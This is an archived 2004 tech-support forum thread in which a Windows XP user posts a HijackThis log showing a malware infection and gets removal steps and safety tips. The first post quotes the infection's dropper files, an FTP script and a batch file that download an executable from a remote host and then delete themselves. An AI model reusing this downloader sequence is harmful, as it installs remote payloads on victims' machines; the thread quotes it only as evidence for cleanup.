What the Tech?! Free tech support Archive
This is a read-only archive. No new posts or registrations. Privacy Page
Spyware / Malware / Virus Removal

What's Happening?

2 min read

This thread's last reply is from . Advice, software, and links below may be out of date — treat specific steps and download links with caution.

Looking for the outcome? Ask AI

Post #1
Since I installed Windows XP Professional in my PC I'm having trouble. My PC crashes when I open more than 3 programs and my internet connection is too slow. Is very strange 'cause I have 512 RAM. I was using Kaspersky AVP 5 updated, but stopped working and now it don't boot or scan. I tried to remove the things that appeared in regedit, but it still reappeared. (System Restore is disabled) Logfile of HijackThis v1.98.2 Scan saved at 01:20:54, on 11/9/2004 Platform: Windows XP SP1 (WinNT 5.01.2600) MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106) Running processes: C:\WINDOWS\System32\smss.exe C:\WINDOWS\system32\winlogon.exe C:\WINDOWS\system32\services.exe C:\WINDOWS\system32\lsass.exe C:\WINDOWS\system32\svchost.exe C:\WINDOWS\System32\svchost.exe C:\WINDOWS\system32\spoolsv.exe C:\WINDOWS\Explorer.EXE C:\WINDOWS\System32\win32.exe C:\WINDOWS\System32\regscan.exe C:\WINDOWS\System32\cmd.exe C:\WINDOWS\system32\ftp.exe C:\Install\UO\HijackThis.exe N1 - Netscape 4: user_pref("browser.startup.homepage", "http://home.netscape.com/"); (C:\Arquivos de programas\Netscape\Users\renato\prefs.js) O4 - HKLM\..\Run: [Windows 32 system] win32.exe O4 - HKLM\..\Run: [Windows Registry Scan] regscan.exe O4 - HKLM\..\RunServices: [Windows 32 system] win32.exe O4 - HKLM\..\RunServices: [Windows Registry Scan] regscan.exe O4 - HKLM\..\RunOnce: [Windows 32 system] win32.exe O4 - HKCU\..\Run: [Windows 32 system] win32.exe O4 - HKCU\..\RunOnce: [Windows 32 system] win32.exe O17 - HKLM\System\CCS\Services\Tcpip\..\{32F732EA-413F-4F39-8FE6-D47D39B63F3F}: NameServer = 200.227.128.20 200.227.128.21 O17 - HKLM\System\CS1\Services\Tcpip\..\{32F732EA-413F-4F39-8FE6-D47D39B63F3F}: NameServer = 200.227.128.20 200.227.128.21 There is a .pif inside system32 directory: open 0.0.0.0 7356 user a a binary GET videosd32.exe bye and also a file called c.bat: @echo off ftp -n -v -s:.pif videosd32.exe del .pif del /F c.bat exit /y Pls help here!
Post #2
Greetings and welcome to TomCoyote.org!

CLOSE ALL WINDOWS (even this one) AND PROGRAMS!!!!

Run Hijack This! and fix these items:

O4 - HKLM\..\Run: [Windows 32 system] win32.exe

O4 - HKLM\..\Run: [Windows Registry Scan] regscan.exe

O4 - HKLM\..\RunServices: [Windows 32 system] win32.exe

O4 - HKLM\..\RunServices: [Windows Registry Scan] regscan.exe

O4 - HKLM\..\RunOnce: [Windows 32 system] win32.exe

O4 - HKCU\..\Run: [Windows 32 system] win32.exe

O4 - HKCU\..\RunOnce: [Windows 32 system] win32.exe


Reboot in "safe" mode. Use the link in my signature to tell you how if necessary.

Find and delete:

c:\windows\system32\regscan.exe <— file

c:\windows\system32\win32.exe <— file

Some malware files may be "hidden". Use the link in my signature to explain how to show "hidden" files if necessary.

Reboot in normal mode.

Please try these free online virus scans of your system:

Trend-Micro:
http://housecall.trendmicro.com/housecall/start_corp.asp

Panda:
http://www.pandasoftware.com/activescan/

Etrust:
http://www3.ca.com/securityadvisor/virusinfo/scan.aspx

Choose fix or clean.

Let them remove any infections found. Reboot inbetween each scan.

Reboot after the last scan and post a new log file. :)
Post #3
I had no patience to try another scan after ActiveScan(Panda) didn't worked.
So I removed my SP1 WinXp and now I'm using SP2..


Logfile of HijackThis v1.98.2
Scan saved at 23:42:26, on 11/9/2004
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\Explorer.EXE
C:\Install\UO\HijackThis.exe

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = &http://home.microsoft.com/intl/br/access/allinone.asp
O4 - HKLM\..\Run: [Speed] "C:\Arquivos de programas\Modem Speed\NtwSpeed.exe" /HIDE
O4 - HKLM\..\Run: [KAVPersonal50] C:\Arquivos de programas\Kaspersky Lab\Kaspersky Anti-Virus Personal\kav.exe /minimize
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Arquivos de programas\Messenger\msmsgs.exe
O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Arquivos de programas\Messenger\msmsgs.exe
O14 - IERESET.INF: SEARCH_PAGE_URL=&http://home.microsoft.com/intl/br/access/allinone.asp
O16 - DPF: {6414512B-B978-451D-A0D8-FCFDF33E833C} (WUWebControl Class) - http://v5.windowsupdate.microsoft.com/v5co…b?1094926277268
O17 - HKLM\System\CCS\Services\Tcpip\..\{654D1B66-1640-4963-BC13-612BF3DFA965}: NameServer = 200.227.128.20 200.227.128.21






Well, thanks, anyway!
=D
Post #4
Looks like you're "good to go"!! :thumbup:

GOD bless!!!

M68 :)

Items you may wish to consider to harden your defenses against future infections:

Read "How did I get infected in the first place?" here:

http://boards.cexx.org/viewtopic.php?t=957

Download IE-Spyad here:

https://netfiles.uiuc.edu/ehowes/www/resource.htm

IE-Spyad puts over 4000 known malicious web sites into IE's "restricted zone" to help prevent you from getting infected.

Check your browser settings here:

http://browsercheck.qualys.com/index.php

A series of "tests" (and suggested fixes) to help tweak IE's settings to help prevent infections when surfing the web.

Follow safe Internet practices:

1. Keep your virus definitions up to date, and scan your system regularly.

2. Don't open email, or download attachments from unrecognized email addresses.

3. Be careful when downloading email attachments, EVEN FROM PEOPLE YOU KNOW! Many virii, worms, and trojans infect a persons system then immeadiately spread themselves to the people in the infected persons addressbook via email attachments.

4. Be careful downloading files from the Internet. Scan all downloaded files with a reliable UP-TO-DATE antivirus program. Scan "zip" files BEFORE unzipping, and scan all unzipped files BEFORE USING THEM.

5. Keep your Windows and IE current with all the latest patches and updates.

Post #5
Glad we could be of assistance. This topic is now closed. If you wish it
reopened, please send us an email (Click here to email) with a link to your thread.

Donations in support of this Web Site are always appreciated

Do not bother contacting us if you are not the topic starter. A valid,
working link to the closed topic is required along with the user name used.
If the user name does not match the one in the thread linked, the email will be deleted.

Ask AI

AI can make mistakes. Check the cited posts. Archived advice can be out-of-date

Don't include personal information. Questions and selected public posts go to OpenAI. About Ask AI